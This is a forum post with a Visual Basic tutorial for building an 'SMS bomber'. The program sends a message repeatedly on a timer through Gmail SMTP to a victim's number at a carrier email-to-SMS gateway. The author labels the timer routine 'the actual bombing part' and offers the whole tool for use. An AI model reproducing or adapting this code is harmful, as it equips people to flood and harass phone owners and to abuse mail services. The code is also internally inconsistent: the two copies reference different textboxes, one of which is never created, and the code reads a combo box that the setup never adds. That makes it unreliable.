Jump to content

Recommended Posts

Posted

 

As requested:

 

First, open Visual Basic 2010. Download from here http://www.microsoft.com/visualstudio/eng/downloads

 

Next, Make a new project, windows forms.

 

Then add :

 

4 Textboxes

6 Labels

1 Rich Text box

1 timer

2 buttons

and 1 listbox

From the Toolbox menu.

Click on 1 label and change it's text to Number, then put it by the first textbox.

Get another label and change it's text to Subject and put it by the 2nd textbox.

Get another label and change it's text to Username and put it by the 3rd textbox.

Another label, change text to Password and put it by 4th textbox.

Another label, change text to Message and put by Rich text box.

Finally, last label, put it by listbox and change text to carrier.

Click on the listbox, then click on the arrow by the listbox and select edit items.

Input the following:

 

@myboostmobile.com
@txt.att.net
@messaging.nextel.com
@vtext.com

Feel free to add more sms servers on new lines.

 

 

The code, which I will explain line by line, is here:

 

Imports System.Net.Mail
Imports System.Web
Imports System.IO

Public Class sms

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim EmailMessage As New MailMessage
Dim TheTelephoneNumber As String = TextBox1.Text
Dim MyCarrier As String = ComboBox1.SelectedItem.ToString()


EmailMessage.From = New MailAddress(TextBox3.Text)
EmailMessage.To.Add(TheTelephoneNumber + MyCarrier)
EmailMessage.Subject = (TextBox2.Text)
EmailMessage.Body = (RichTextBox1.Text)
EmailMessage.Priority = MailPriority.High

Dim SimpleSMTP As New SmtpClient
SimpleSMTP.Port = 587
SimpleSMTP.Host = "smtp.gmail.com"
SimpleSMTP.EnableSsl = True
SimpleSMTP.Credentials = New System.Net.NetworkCredential(TextBox3.Text, TextBox4.Text)
SimpleSMTP.Send(EmailMessage)
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
End Class

 

 

 

Imports System.Net.Mail
Imports System.Web
Imports System.IO

This imports everything that is needed.

 

Public Class sms

Declares the class name as sms.

 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub

Declares when button1 is clicked, timer1 starts.

 

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim EmailMessage As New MailMessage
Dim TheTelephoneNumber As String = TextBox1.Text
Dim MyCarrier As String = ComboBox1.SelectedItem.ToString()


EmailMessage.From = New MailAddress(TextBox4.Text)
EmailMessage.To.Add(TheTelephoneNumber + MyCarrier)
EmailMessage.Subject = (TextBox2.Text)
EmailMessage.Body = (RichTextBox1.Text)
EmailMessage.Priority = MailPriority.High

Dim SimpleSMTP As New SmtpClient
SimpleSMTP.Port = 587
SimpleSMTP.Host = "smtp.gmail.com"
SimpleSMTP.EnableSsl = True
SimpleSMTP.Credentials = New System.Net.NetworkCredential(TextBox4.Text, TextBox5.Text)
SimpleSMTP.Send(EmailMessage)
End Sub

 

This is the actual bombing part.

First, it declares all the variables, then sets each textbox to a part of the email.

Finally, using gmail, sends the text. Now because this is a timer, it will do the code repeatedly.

 

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
End Class

Declares that button2 will stop timer1 and ends the class.

 

Now run it by pressing f5 or clicking the play button at the top.

 

Tell me if you get any errors.

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock